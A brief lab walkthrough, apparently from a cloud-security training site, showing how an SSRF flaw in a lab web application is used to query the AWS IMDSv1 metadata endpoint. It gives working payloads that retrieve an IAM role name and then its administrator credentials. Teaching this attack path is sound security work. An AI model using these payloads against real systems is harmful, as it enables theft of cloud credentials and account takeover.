1. Access the SSRF-vulnerable web application
https://lab.5minutescloud.com/attack-path/aws/imdsv1-ssrf

2. Enter the following payload to fetch the IAM role name, which will be further used to get Programmatic credentials.
http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. Since we have the role name as AdministratorAccessRoleForEC2 , Let’s fetch the credentials by using the following payload.
http://169.254.169.254/latest/meta-data/iam/security-credentials/AdministratorAccessRoleForEC2